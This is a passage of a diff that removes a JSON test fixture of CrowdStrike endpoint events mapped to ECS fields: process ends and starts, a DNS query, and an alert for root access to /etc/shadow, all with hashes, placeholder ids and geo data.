-                "original": "{\"AsepWrittenCount\":\"0\",\"ConfigBuild\":\"1007.4.0011104.1\",\"ConfigStateHash\":\"1789338890\",\"ContextProcessId\":\"317713210176499254\",\"ContextThreadId\":\"0\",\"ContextTimeStamp\":\"1604855096.730\",\"DirectoryCreatedCount\":\"0\",\"DnsRequestCount\":\"0\",\"Entitlements\":\"15\",\"ExecutableDeletedCount\":\"0\",\"FileDeletedCount\":\"0\",\"NetworkBindCount\":\"0\",\"NetworkCapableAsepWriteCount\":\"0\",\"NetworkCloseCount\":\"0\",\"NetworkConnectCount\":\"0\",\"NetworkListenCount\":\"0\",\"NetworkRecvAcceptCount\":\"0\",\"NewExecutableWrittenCount\":\"0\",\"RawProcessId\":\"28987\",\"SHA256HashData\":\"6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0\",\"SuspectStackCount\":\"0\",\"SuspiciousDnsRequestCount\":\"0\",\"TargetProcessId\":\"317713210176499254\",\"aid\":\"ffffffff75fc48f15cfe5f095e605c4c\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"EndOfProcess\",\"id\":\"ffffffff-1111-11eb-809e-02fff4e55a49\",\"name\":\"EndOfProcessMacV14\",\"timestamp\":\"1604855099646\"}",
-                "outcome": "success",
-                "type": [
-                    "end"
-                ]
-            },
-            "host": {
-                "id": "ffffffff75fc48f15cfe5f095e605c4c",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "EndOfProcess",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff75fc48f15cfe5f095e605c4c",
-                "version": "1007.4.0011104.1"
-            },
-            "process": {
-                "entity_id": "317713210176499254",
-                "hash": {
-                    "sha256": "6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0"
-                },
-                "pid": 28987,
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0",
-                    "1789338890"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:04:59.935Z",
-            "crowdstrike": {
-                "AllocateVirtualMemoryCount": 0,
-                "ArchiveFileWrittenCount": 0,
-                "AsepWrittenCount": 0,
-                "BinaryExecutableWrittenCount": 0,
-                "CLICreationCount": 0,
-                "ConHostId": "38188",
-                "ConHostProcessId": "3099352216141",
-                "ConfigStateHash": "3343111420",
-                "ContextProcessId": "3100508103359",
-                "ContextTimeStamp": "2020-11-08T17:04:57.926Z",
-                "CreateProcessCount": 0,
-                "CycleTime": 2937514388,
-                "DirectoryCreatedCount": 0,
-                "DirectoryEnumeratedCount": 1,
-                "DnsRequestCount": 0,
-                "DocumentFileWrittenCount": 0,
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "ExeAndServiceCount": 0,
-                "ExecutableDeletedCount": 0,
-                "FileDeletedCount": 2,
-                "GenericFileWrittenCount": 0,
-                "ImageSubsystem": "3",
-                "InjectedDllCount": 0,
-                "InjectedThreadCount": 0,
-                "KernelTime": 7500000,
-                "MaxThreadCount": 4,
-                "ModuleLoadCount": 38,
-                "NetworkBindCount": 0,
-                "NetworkCapableAsepWriteCount": 0,
-                "NetworkCloseCount": 0,
-                "NetworkConnectCount": 0,
-                "NetworkConnectCountUdp": 0,
-                "NetworkListenCount": 0,
-                "NetworkModuleLoadCount": 0,
-                "NetworkRecvAcceptCount": 0,
-                "NewExecutableWrittenCount": 0,
-                "PrivilegedProcessHandleCount": 0,
-                "ProtectVirtualMemoryCount": 0,
-                "QueueApcCount": 0,
-                "RegKeySecurityDecreasedCount": 0,
-                "RemovableDiskFileWrittenCount": 0,
-                "RunDllInvocationCount": 0,
-                "SHA256HashData": "faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f",
-                "ScreenshotsTakenCount": 0,
-                "ScriptEngineInvocationCount": 0,
-                "ServiceEventCount": 0,
-                "SetThreadContextCount": 0,
-                "SnapshotFileOpenCount": 0,
-                "SuspectStackCount": 0,
-                "SuspiciousCredentialModuleLoadCount": 0,
-                "SuspiciousDnsRequestCount": 0,
-                "SuspiciousFontLoadCount": 0,
-                "SuspiciousRawDiskReadCount": 0,
-                "UnsignedModuleLoadCount": 0,
-                "UserMemoryAllocateExecutableCount": 0,
-                "UserMemoryAllocateExecutableRemoteCount": 0,
-                "UserMemoryProtectExecutableCount": 0,
-                "UserMemoryProtectExecutableRemoteCount": 0,
-                "UserTime": 6406250,
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-8726-063418e4a9e7",
-                "name": "EndOfProcessV15"
-            },
-            "device": {
-                "id": "ffffffffb5db4b2e7ec89aba537adcc2"
-            },
-            "event": {
-                "action": "EndOfProcess",
-                "category": [
-                    "process"
-                ],
-                "created": "2020-11-08T17:04:59.935Z",
-                "id": "ffffffff-1111-11eb-8726-063418e4a9e7|ffffffffb5db4b2e7ec89aba537adcc2|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"AllocateVirtualMemoryCount\":\"0\",\"ArchiveFileWrittenCount\":\"0\",\"AsepWrittenCount\":\"0\",\"BinaryExecutableWrittenCount\":\"0\",\"CLICreationCount\":\"0\",\"ConHostId\":\"38188\",\"ConHostProcessId\":\"3099352216141\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3343111420\",\"ContextData\":\"\",\"ContextProcessId\":\"3100508103359\",\"ContextThreadId\":\"93436292950223\",\"ContextTimeStamp\":\"1604855097.926\",\"CreateProcessCount\":\"0\",\"CycleTime\":\"2937514388\",\"DirectoryCreatedCount\":\"0\",\"DirectoryEnumeratedCount\":\"1\",\"DnsRequestCount\":\"0\",\"DocumentFileWrittenCount\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ExeAndServiceCount\":\"0\",\"ExecutableDeletedCount\":\"0\",\"ExitCode\":\"0\",\"FileDeletedCount\":\"2\",\"GenericFileWrittenCount\":\"0\",\"ImageSubsystem\":\"3\",\"InjectedDllCount\":\"0\",\"InjectedThreadCount\":\"0\",\"KernelTime\":\"7500000\",\"MaxThreadCount\":\"4\",\"ModuleLoadCount\":\"38\",\"NetworkBindCount\":\"0\",\"NetworkCapableAsepWriteCount\":\"0\",\"NetworkCloseCount\":\"0\",\"NetworkConnectCount\":\"0\",\"NetworkConnectCountUdp\":\"0\",\"NetworkListenCount\":\"0\",\"NetworkModuleLoadCount\":\"0\",\"NetworkRecvAcceptCount\":\"0\",\"NewExecutableWrittenCount\":\"0\",\"ParentProcessId\":\"3099350649383\",\"PrivilegedProcessHandleCount\":\"0\",\"ProcessStartTime\":\"1604855096.463\",\"ProtectVirtualMemoryCount\":\"0\",\"QueueApcCount\":\"0\",\"RawProcessId\":\"33016\",\"RegKeySecurityDecreasedCount\":\"0\",\"RemovableDiskFileWrittenCount\":\"0\",\"RunDllInvocationCount\":\"0\",\"SHA256HashData\":\"faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f\",\"ScreenshotsTakenCount\":\"0\",\"ScriptEngineInvocationCount\":\"0\",\"ServiceEventCount\":\"0\",\"SetThreadContextCount\":\"0\",\"SnapshotFileOpenCount\":\"0\",\"SuspectStackCount\":\"0\",\"SuspiciousCredentialModuleLoadCount\":\"0\",\"SuspiciousDnsRequestCount\":\"0\",\"SuspiciousFontLoadCount\":\"0\",\"SuspiciousRawDiskReadCount\":\"0\",\"TargetProcessId\":\"3100508103359\",\"UnsignedModuleLoadCount\":\"0\",\"UserMemoryAllocateExecutableCount\":\"0\",\"UserMemoryAllocateExecutableRemoteCount\":\"0\",\"UserMemoryProtectExecutableCount\":\"0\",\"UserMemoryProtectExecutableRemoteCount\":\"0\",\"UserSid\":\"S-1-5-18\",\"UserTime\":\"6406250\",\"aid\":\"ffffffffb5db4b2e7ec89aba537adcc2\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"EndOfProcess\",\"id\":\"ffffffff-1111-11eb-8726-063418e4a9e7\",\"name\":\"EndOfProcessV15\",\"timestamp\":\"1604855099935\"}",
-                "outcome": "success",
-                "type": [
-                    "end"
-                ]
-            },
-            "host": {
-                "id": "ffffffffb5db4b2e7ec89aba537adcc2",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "EndOfProcess",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffffb5db4b2e7ec89aba537adcc2",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "3100508103359",
-                "exit_code": 0,
-                "hash": {
-                    "sha256": "faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f"
-                },
-                "parent": {
-                    "entity_id": "3099350649383"
-                },
-                "pid": 33016,
-                "start": "2020-11-08T17:04:56.463Z",
-                "thread": {
-                    "id": 93436292950223
-                }
-            },
-            "related": {
-                "hash": [
-                    "faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f",
-                    "3343111420"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "user": [
-                    "S-1-5-18"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-1-5-18"
-            }
-        },
-        {
-            "@timestamp": "2020-11-08T17:05:00.139Z",
-            "crowdstrike": {
-                "AsepWrittenCount": 0,
-                "ConfigStateHash": "3344040805",
-                "ContextProcessId": "311775981885093125",
-                "ContextTimeStamp": "2020-11-08T17:05:01.341Z",
-                "DirectoryCreatedCount": 0,
-                "DnsRequestCount": 0,
-                "Entitlements": "15",
-                "ExecutableDeletedCount": 0,
-                "FileDeletedCount": 0,
-                "NetworkBindCount": 0,
-                "NetworkCapableAsepWriteCount": 0,
-                "NetworkCloseCount": 0,
-                "NetworkConnectCount": 0,
-                "NetworkListenCount": 0,
-                "NetworkRecvAcceptCount": 0,
-                "NewExecutableWrittenCount": 0,
-                "SHA256HashData": "3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3",
-                "SuspectStackCount": 0,
-                "SuspiciousDnsRequestCount": 0,
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-bc03-065126dd0691",
-                "name": "EndOfProcessMacV12"
-            },
-            "device": {
-                "id": "ffffffff1aa0482a5ea94f64e08e7b15"
-            },
-            "event": {
-                "action": "EndOfProcess",
-                "category": [
-                    "process"
-                ],
-                "created": "2020-11-08T17:05:00.139Z",
-                "id": "ffffffff-1111-11eb-bc03-065126dd0691|ffffffff1aa0482a5ea94f64e08e7b15|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"AsepWrittenCount\":\"0\",\"ConfigBuild\":\"1007.4.0009304.1\",\"ConfigStateHash\":\"3344040805\",\"ContextProcessId\":\"311775981885093125\",\"ContextThreadId\":\"0\",\"ContextTimeStamp\":\"1604855101.341\",\"DirectoryCreatedCount\":\"0\",\"DnsRequestCount\":\"0\",\"Entitlements\":\"15\",\"ExecutableDeletedCount\":\"0\",\"FileDeletedCount\":\"0\",\"NetworkBindCount\":\"0\",\"NetworkCapableAsepWriteCount\":\"0\",\"NetworkCloseCount\":\"0\",\"NetworkConnectCount\":\"0\",\"NetworkListenCount\":\"0\",\"NetworkRecvAcceptCount\":\"0\",\"NewExecutableWrittenCount\":\"0\",\"RawProcessId\":\"10507\",\"SHA256HashData\":\"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3\",\"SuspectStackCount\":\"0\",\"SuspiciousDnsRequestCount\":\"0\",\"TargetProcessId\":\"311775981885093125\",\"aid\":\"ffffffff1aa0482a5ea94f64e08e7b15\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"EndOfProcess\",\"id\":\"ffffffff-1111-11eb-bc03-065126dd0691\",\"name\":\"EndOfProcessMacV12\",\"timestamp\":\"1604855100139\"}",
-                "outcome": "success",
-                "type": [
-                    "end"
-                ]
-            },
-            "host": {
-                "id": "ffffffff1aa0482a5ea94f64e08e7b15",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "EndOfProcess",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff1aa0482a5ea94f64e08e7b15",
-                "version": "1007.4.0009304.1"
-            },
-            "process": {
-                "entity_id": "311775981885093125",
-                "hash": {
-                    "sha256": "3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3"
-                },
-                "pid": 10507,
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3",
-                    "3344040805"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:05:00.030Z",
-            "crowdstrike": {
-                "AuthenticationId": "999",
-                "ConfigStateHash": "3765958535",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "ImageSubsystem": "3",
-                "IntegrityLevel": "16384",
-                "MD5HashData": "571391f723a439e985a2064337e2802a",
-                "ParentAuthenticationId": "999",
-                "ProcessCreateFlags": "67634688",
-                "ProcessParameterFlags": "24577",
-                "ProcessSxsFlags": "64",
-                "SHA256HashData": "7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720",
-                "SessionId": "0",
-                "SourceProcessId": "17346335177",
-                "SourceThreadId": "107650023406",
-                "Tags": [
-                    "27",
-                    "151",
-                    "12094627905582",
-                    "12094627906234"
-                ],
-                "TokenType": "1",
-                "WindowFlags": "384",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-a09e-06f79d630255",
-                "name": "ProcessRollup2V17"
-            },
-            "device": {
-                "id": "ffffffff3a5a424fa02450da53619745"
-            },
-            "event": {
-                "action": "ProcessRollup2",
-                "category": [
-                    "process"
-                ],
-                "created": "2020-11-08T17:05:00.030Z",
-                "id": "ffffffff-1111-11eb-a09e-06f79d630255|ffffffff3a5a424fa02450da53619745|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"AuthenticationId\":\"999\",\"CommandLine\":\"D:\\\\projects\\\\splunk-forwarder\\\\bin\\\\splunk-powershell.exe --ps2\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3765958535\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume2\\\\projects\\\\splunk-forwarder\\\\bin\\\\splunk-powershell.exe\",\"ImageSubsystem\":\"3\",\"IntegrityLevel\":\"16384\",\"MD5HashData\":\"571391f723a439e985a2064337e2802a\",\"ParentAuthenticationId\":\"999\",\"ParentBaseFileName\":\"splunkd.exe\",\"ParentProcessId\":\"17346335177\",\"ProcessCreateFlags\":\"67634688\",\"ProcessEndTime\":\"\",\"ProcessParameterFlags\":\"24577\",\"ProcessStartTime\":\"1604855099.406\",\"ProcessSxsFlags\":\"64\",\"RawProcessId\":\"6116\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720\",\"SessionId\":\"0\",\"SourceProcessId\":\"17346335177\",\"SourceThreadId\":\"107650023406\",\"Tags\":\"27, 151, 12094627905582, 12094627906234\",\"TargetProcessId\":\"583707537390\",\"TokenType\":\"1\",\"UserSid\":\"S-1-5-18\",\"WindowFlags\":\"384\",\"aid\":\"ffffffff3a5a424fa02450da53619745\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-a09e-06f79d630255\",\"name\":\"ProcessRollup2V17\",\"timestamp\":\"1604855100030\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "ffffffff3a5a424fa02450da53619745",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ProcessRollup2",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff3a5a424fa02450da53619745",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "Ext": {
-                    "token": {
-                        "integrity_level_name": "SYSTEM"
-                    }
-                },
-                "args": [
-                    "D:\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe",
-                    "--ps2"
-                ],
-                "args_count": 2,
-                "command_line": "D:\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe --ps2",
-                "entity_id": "583707537390",
-                "executable": "\\Device\\HarddiskVolume2\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe",
-                "hash": {
-                    "md5": "571391f723a439e985a2064337e2802a",
-                    "sha256": "7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720"
-                },
-                "name": "splunk-powershell.exe",
-                "parent": {
-                    "entity_id": "17346335177",
-                    "name": "splunkd.exe"
-                },
-                "pid": 6116,
-                "start": "2020-11-08T17:04:59.406Z"
-            },
-            "related": {
-                "hash": [
-                    "571391f723a439e985a2064337e2802a",
-                    "7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720",
-                    "3765958535"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "user": [
-                    "S-1-5-18"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-1-5-18"
-            }
-        },
-        {
-            "@timestamp": "2020-11-08T17:04:59.913Z",
-            "crowdstrike": {
-                "ConfigStateHash": "2784638081",
-                "ContextProcessId": "259090530891",
-                "ContextTimeStamp": "2020-11-08T17:04:55.961Z",
-                "DnsRequestCount": 1,
-                "DualRequest": "0",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "InterfaceIndex": 0,
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-8077-0606f7dcf2ed",
-                "name": "DnsRequestV3"
-            },
-            "device": {
-                "id": "ffffffff4f1444bab96568879cb43556"
-            },
-            "dns": {
-                "question": {
-                    "name": "comp1.dom2",
-                    "type": "A"
-                },
-                "type": "query"
-            },
-            "event": {
-                "action": "DnsRequest",
-                "category": [
-                    "network"
-                ],
-                "created": "2020-11-08T17:04:59.913Z",
-                "id": "ffffffff-1111-11eb-8077-0606f7dcf2ed|ffffffff4f1444bab96568879cb43556|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"2784638081\",\"ContextProcessId\":\"259090530891\",\"ContextThreadId\":\"16409623709004\",\"ContextTimeStamp\":\"1604855095.961\",\"DnsRequestCount\":\"1\",\"DomainName\":\"comp1.dom2\",\"DualRequest\":\"0\",\"EffectiveTransmissionClass\":\"3\",\"Entitlements\":\"15\",\"InterfaceIndex\":\"0\",\"RequestType\":\"1\",\"aid\":\"ffffffff4f1444bab96568879cb43556\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"DnsRequest\",\"id\":\"ffffffff-1111-11eb-8077-0606f7dcf2ed\",\"name\":\"DnsRequestV3\",\"timestamp\":\"1604855099913\"}",
-                "outcome": "success",
-                "type": [
-                    "protocol"
-                ]
-            },
-            "host": {
-                "id": "ffffffff4f1444bab96568879cb43556",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "DnsRequest",
-            "network": {
-                "protocol": "dns"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff4f1444bab96568879cb43556",
-                "version": "1007.3.0011603.1"
-            },
-            "process": {
-                "entity_id": "259090530891",
-                "thread": {
-                    "id": 16409623709004
-                }
-            },
-            "related": {
-                "hash": [
-                    "2784638081"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:05:02.247Z",
-            "crowdstrike": {
-                "ConfigStateHash": "4288861242",
-                "ContextProcessId": "321385820045701199",
-                "ContextTimeStamp": "2020-11-08T17:05:01.645Z",
-                "Entitlements": "15",
-                "UnixMode": "32768",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-b70d-027f9ced2001",
-                "name": "CriticalFileAccessedLinV1"
-            },
-            "device": {
-                "id": "ffffffff32ba43a483e76c6f0a4aa26f"
-            },
-            "event": {
-                "action": "CriticalFileAccessed",
-                "category": [
-                    "file"
-                ],
-                "created": "2020-11-08T17:05:02.247Z",
-                "id": "ffffffff-1111-11eb-b70d-027f9ced2001|ffffffff32ba43a483e76c6f0a4aa26f|ffffffff30a3407dae27d0503611022d",
-                "kind": "alert",
-                "original": "{\"ConfigBuild\":\"1007.8.0009806.1\",\"ConfigStateHash\":\"4288861242\",\"ContextProcessId\":\"321385820045701199\",\"ContextThreadId\":\"0\",\"ContextTimeStamp\":\"1604855101.645\",\"Entitlements\":\"15\",\"GID\":\"0\",\"TargetFileName\":\"/etc/shadow\",\"UID\":\"0\",\"UnixMode\":\"32768\",\"aid\":\"ffffffff32ba43a483e76c6f0a4aa26f\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Lin\",\"event_simpleName\":\"CriticalFileAccessed\",\"id\":\"ffffffff-1111-11eb-b70d-027f9ced2001\",\"name\":\"CriticalFileAccessedLinV1\",\"timestamp\":\"1604855102247\"}",
-                "outcome": "success",
-                "type": [
-                    "access"
-                ]
-            },
-            "file": {
-                "directory": "/etc",
-                "name": "shadow",
-                "path": "/etc/shadow",
-                "type": "file"
-            },
-            "group": {
-                "id": "0"
-            },
-            "host": {
-                "id": "ffffffff32ba43a483e76c6f0a4aa26f",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "CriticalFileAccessed",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffff32ba43a483e76c6f0a4aa26f",
-                "version": "1007.8.0009806.1"
-            },
-            "process": {
-                "entity_id": "321385820045701199",
-                "group": {
-                    "id": "0"
-                },
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "4288861242"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "user": [
-                    "0"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "group": {
-                    "id": "0"
-                },
-                "id": "0"
-            }
-        },
-        {
-            "@timestamp": "2020-11-08T17:05:09.180Z",
-            "crowdstrike": {
-                "ConfigStateHash": "3344040805",
-                "Entitlements": "15",
-                "MD5HashData": "d51cef1b288e2032aee9805deff04bfd",
-                "MachOSubType": "1",
-                "RGID": "0",
-                "RUID": "0",
-                "SHA256HashData": "3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3",
-                "SVGID": "0",
-                "SVUID": "0",
-                "SourceProcessId": "311776004953765502",
-                "SourceThreadId": "0",
-                "Tags": [
-                    "27",
-                    "12094627905582",
-                    "12094627906234"
-                ],
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-bc03-065126dd0691",
-                "name": "ProcessRollup2MacV3"
-            },
-            "device": {
-                "id": "ffffffff1aa0482a5ea94f64e08e7b15"
-            },
-            "event": {
-                "action": "ProcessRollup2",
-                "category": [
-                    "process"
-                ],
-                "created": "2020-11-08T17:05:09.180Z",
-                "id": "ffffffff-1111-11eb-bc03-065126dd0691|ffffffff1aa0482a5ea94f64e08e7b15|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"CommandLine\":\"/usr/bin/plutil -convert xml1 -o - /Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist\",\"ConfigBuild\":\"1007.4.0009304.1\",\"ConfigStateHash\":\"3344040805\",\"Entitlements\":\"15\",\"GID\":\"0\",\"ImageFileName\":\"/usr/bin/plutil\",\"MD5HashData\":\"d51cef1b288e2032aee9805deff04bfd\",\"MachOSubType\":\"1\",\"ParentProcessId\":\"311774817965726568\",\"ProcessEndTime\":\"\",\"ProcessGroupId\":\"311774817965726568\",\"ProcessStartTime\":\"1604855111.240\",\"RGID\":\"0\",\"RUID\":\"0\",\"RawProcessId\":\"10692\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"SHA256HashData\":\"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3\",\"SVGID\":\"0\",\"SVUID\":\"0\",\"SourceProcessId\":\"311776004953765502\",\"SourceThreadId\":\"0\",\"Tags\":\"27, 12094627905582, 12094627906234\",\"TargetProcessId\":\"311776004953765502\",\"UID\":\"0\",\"aid\":\"ffffffff1aa0482a5ea94f64e08e7b15\",\"aip\":\"67.43.156.14\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Mac\",\"event_simpleName\":\"ProcessRollup2\",\"id\":\"ffffffff-1111-11eb-bc03-065126dd0691\",\"name\":\"ProcessRollup2MacV3\",\"timestamp\":\"1604855109180\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "ffffffff1aa0482a5ea94f64e08e7b15",
-                "os": {
-                    "type": "macos"
-                }
-            },
-            "message": "ProcessRollup2",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "ffffffff1aa0482a5ea94f64e08e7b15",
-                "version": "1007.4.0009304.1"
-            },
-            "process": {
-                "args": [
-                    "/usr/bin/plutil",
-                    "-convert",
-                    "xml1",
-                    "-o",
-                    "/Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist"
-                ],
-                "args_count": 6,
-                "command_line": "/usr/bin/plutil -convert xml1 -o - /Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist",
-                "entity_id": "311776004953765502",
-                "executable": "/usr/bin/plutil",
-                "hash": {
-                    "md5": "d51cef1b288e2032aee9805deff04bfd",
-                    "sha256": "3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3"
-                },
-                "name": "plutil",
-                "parent": {
-                    "entity_id": "311774817965726568"
-                },
-                "pgid": 311774817965726568,
-                "pid": 10692,
-                "real_user": {
-                    "id": "0"
-                },
-                "start": "2020-11-08T17:05:11.240Z"
-            },
-            "related": {
-                "hash": [
-                    "d51cef1b288e2032aee9805deff04bfd",
-                    "3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3",
-                    "3344040805"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "user": [
-                    "0"
